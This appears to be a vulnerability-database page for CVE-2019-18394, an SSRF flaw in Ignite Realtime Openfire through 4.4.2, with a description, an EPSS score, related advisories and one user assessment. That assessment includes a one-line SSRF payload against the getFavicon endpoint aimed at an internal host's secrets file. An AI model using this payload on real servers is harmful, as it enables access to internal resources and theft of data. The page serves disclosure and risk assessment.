Lucene search
AttackerKBAKB:34EDFFD6-F1D3-409E-A748-B4D6F923CE14HistoryOct 24, 2019 - 12:00 a.m.
CVE-2019-18394
2019-10-2400:00:00
attackerkb.com
13
EPSS
0.568
Percentile
97.8%
A Server Side Request Forgery (SSRF) vulnerability in FaviconServlet.java in Ignite Realtime Openfire through 4.4.2 allows attackers to send arbitrary HTTP GET requests.
Recent assessments:
ericalexanderorg at August 04, 2020 4:42pm UTC reported:
More detail
<https://swarm.ptsecurity.com/openfire-admin-console/>
Stupid easy SSRF
> /getFavicon?host=192.168.176.1:8080/secrets.txt?
Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5
Related
veracode
veracode
Server-Side Request Forgery (SSRF)
2019-10-25 02:46:40
cvelist
cvelist
CVE-2019-18394
2019-10-24 10:58:34
CVE-2021-45968
2022-03-18 04:56:37
nuclei
nuclei
Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery
2020-08-04 15:24:23
github
github
Ignite Realtime Openfire vulnerable to Server Side Request Forgery
2022-05-24 16:59:50
cve
cve
CVE-2019-18394
2019-10-24 11:15:10
CVE-2021-45968
2022-03-18 05:15:07
prion
prion
Server side request forgery (ssrf)
2019-10-24 11:15:00
Server side request forgery (ssrf)
2022-03-18 05:15:00
thn
thn
Critical RCE Bugs Found in Pascom Cloud Phone System Used by Businesses
2022-03-09 09:48:00
osv
osv
Ignite Realtime Openfire vulnerable to Server Side Request Forgery
2022-05-24 16:59:50
CVE-2019-18394
2019-10-24 11:15:10
nessus
nessus
Openfire SSRF (CVE-2019-18394)
2024-07-19 00:00:00
nvd
nvd
CVE-2019-18394
2019-10-24 11:15:10
CVE-2021-45968
2022-03-18 05:15:07
openvas
openvas
Openfire < 4.4.3 Multiple Vulnerabilities
2020-08-05 00:00:00